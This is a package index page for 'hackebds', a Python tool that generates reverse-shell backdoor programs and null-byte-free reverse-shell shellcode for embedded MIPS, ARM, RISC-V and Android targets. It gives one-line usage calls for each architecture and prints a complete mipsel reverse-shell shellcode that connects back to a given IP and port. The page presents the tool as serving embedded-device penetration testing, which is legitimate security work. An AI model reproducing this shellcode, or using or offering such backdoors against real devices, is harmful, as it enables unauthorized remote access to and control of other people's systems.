Skip to main content

This tool is used for backdoor and shellcode generation for various architecture devices

Project description

# introduction

## foreword

>In the process of penetration and vulnerability mining of embedded devices, many problems have been encountered. One is that some devices do not have telnetd or ssh services to obtain an interactive shell, and the other is that memory corruption vulnerabilities such as stack overflow are usually Null bytes are truncated, so it is more troublesome to construct reverse_shellcode, so this tool was developed to exploit the vulnerability. This tool is developed based on the PWN module and currently uses the python2 language

## fuction

This tool is embedded in the security test of the device. There are two main functions:

  1. Generate backdoor programs of various architectures. The backdoor program is packaged in shellless pure shellcode and is smal in size.**Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated**

  2. Generate reverse_shell shellcode of various architectures during the exploit process, and no null bytes, which facilitates the exploitation of memory corruption vulnerabilities on embedded devices. Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated

## install (1) Highly recommended!!Because the source code compilation may not be updated in time,Please install the latest pip install hackebds==0.0.7 ` pip install hackebds==0.1.1 .... ` #### Instructions for use When importing this module will import the pwn module

1. Generate backdoor programs of various architectures, encapsulate pure shellcode, and successfully connect to the shell ` >>> from hackebds import * >>> mipsel_backdoor(reverse_ip,reverse_port) >>> mips_backdoor(reverse_ip,reverse_port) >>> aarch64_backdoor(reverse_ip,reverse_port) >>> armelv5_backdoor(reverse_ip,reverse_port) >>> armelv7_backdoor(reverse_ip,reverse_port) >>> armebv5_backdoor(reverse_ip,reverse_port) >>> armebv7_backdoor(reverse_ip,reverse_port) >>> mips64_backdoor(reverse_ip,reverse_port) >>> mips64el_backdoor(reverse_ip,reverse_port) ` expample: ` >>> mipsel_backdoor("127.0.0.1",5566) mipsel_backdoor is ok in current path ./ >>> ` 2. Generates the use-back shellcode (no free) null bytes corresponding to various architectures

` >>> from hackebds import * >>> mipsel_reverse_sl(reverse_ip,reverse_port) >>> mips_reverse_sl(reverse_ip,reverse_port) >>> aarch64_reverse_sl(reverse_ip,reverse_port) >>> armelv5_reverse_sl(reverse_ip,reverse_port) >>> armelv7_reverse_sl(reverse_ip,reverse_port) >>> armebv5_reverse_sl(reverse_ip,reverse_port) >>> armebv7_backdoor(reverse_ip,reverse_port) >>> mips64_reverse_sl(reverse_ip,reverse_port) >>> mips64el_reverse_sl(reverse_ip,reverse_port) >>> android_aarch64_backdoor("10.11.28.103",7878) ` example: ` >>> from hackebds import * >>> shellcode=mipsel_reverse_sl("127.0.0.1",5566) [+] No NULL byte shellcode for hex(len is 264): \xfd\xff\x19\x24\x27\x20\x20\x03\xff\xff\x06\x28\x57\x10\x02\x34\xfc\xff\xa4\xaf\xfc\xff\xa5\x8f\x0c\x01\x01\x01\xfc\xff\xa2\xaf\xfc\xff\xb0\x8f\xea\x41\x19\x3c\xfd\xff\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xff\xfe\x19\x3c\x80\xff\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\xfc\xff\xb0\xaf\xfc\xff\xa4\x8f\x20\x28\xa0\x03\xef\xff\x19\x24\x27\x30\x20\x03\x4a\x10\x02\x34\x0c\x01\x01\x01\xf7\xff\x85\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfe\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfd\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01 ` ## chips and architectures Tests can leverage chips and architectures

Mips: MIPS 74kc V4.12 big endian MIPS 24kc V5.0 little endian

Armv7: Allwinner(全志)V3s

Armv8: Qualcomm Snapdragon 660

## updating

2022.4.19 Added support for aarch64 null-byte reverse_shellcode

2022.4.30 Reduced amount of code using functions and support python3

2022.5.5 0.0.8 version Solved the bug that mips_reverse_sl and mipsel_reverse_sl were not enabled, added mips64_backdoor, mips64_reverse_sl generation and mips64el_backdoor, mips64el_reverse_sl generation

2022.5.21 0.0.9 version changed the generation method of armel V5 backdoor and added the specified generation of riscv-v64 backdoor

2022.6.27 0.1.0 Added Android backdoor generation

## One-click build environment

To be added

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hackebds-0.1.1.tar.gz (8.5 kB view details)

Uploaded Source

Built Distributions

hackebds-0.1.1-py3.6.egg (11.2 kB view details)

Uploaded Source

hackebds-0.1.1-py3-none-any.whl (14.0 kB view details)

Uploaded Python 3

File details

Details for the file hackebds-0.1.1.tar.gz.

File metadata

  • Download URL: hackebds-0.1.1.tar.gz
  • Upload date:
  • Size: 8.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.8.0 pkginfo/1.8.3 readme-renderer/34.0 requests/2.27.1 requests-toolbelt/0.9.1 urllib3/1.26.9 tqdm/4.64.0 importlib-metadata/4.5.0 keyring/23.4.1 rfc3986/1.5.0 colorama/0.4.5 CPython/3.6.9

File hashes

Hashes for hackebds-0.1.1.tar.gz
Algorithm Hash digest
SHA256 a022d1ed3746e89535571aa8148014654d29ab7bea8eb140839c3ecf10b32c6a
MD5 7be6ca3ae88117febcae329ef3d8d591
BLAKE2b-256 178489dd04c5113c94f1acb9fff2aa16b2c3813309487b206c0acb0dee901ab9

See more details on using hashes here.

File details

Details for the file hackebds-0.1.1-py3.6.egg.

File metadata

  • Download URL: hackebds-0.1.1-py3.6.egg
  • Upload date:
  • Size: 11.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.8.0 pkginfo/1.8.3 readme-renderer/34.0 requests/2.27.1 requests-toolbelt/0.9.1 urllib3/1.26.9 tqdm/4.64.0 importlib-metadata/4.5.0 keyring/23.4.1 rfc3986/1.5.0 colorama/0.4.5 CPython/3.6.9

File hashes

Hashes for hackebds-0.1.1-py3.6.egg
Algorithm Hash digest
SHA256 c9fc0ad3143252bb7c492659e04648dd598037e23247b501fb744622a23dab1e
MD5 b24cfd94a6277226ff3c85a5369ea2a9
BLAKE2b-256 9191fb58375de95e24dc154563e42fadce40ba4e9a13ae0e72d81d41dbd6633a

See more details on using hashes here.

File details

Details for the file hackebds-0.1.1-py3-none-any.whl.

File metadata

  • Download URL: hackebds-0.1.1-py3-none-any.whl
  • Upload date:
  • Size: 14.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.8.0 pkginfo/1.8.3 readme-renderer/34.0 requests/2.27.1 requests-toolbelt/0.9.1 urllib3/1.26.9 tqdm/4.64.0 importlib-metadata/4.5.0 keyring/23.4.1 rfc3986/1.5.0 colorama/0.4.5 CPython/3.6.9

File hashes

Hashes for hackebds-0.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 bedb4cb2788fcb1ac6c7d83bf8e6b5a37d1c3c3eeec6f3822f09a8c570b9568b
MD5 669110bb5a0b815f716e2a860c669a1e
BLAKE2b-256 37fc6356f92cb6b45b2800969a3d287cc757512ba70570222eaf1142a5df9f95

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page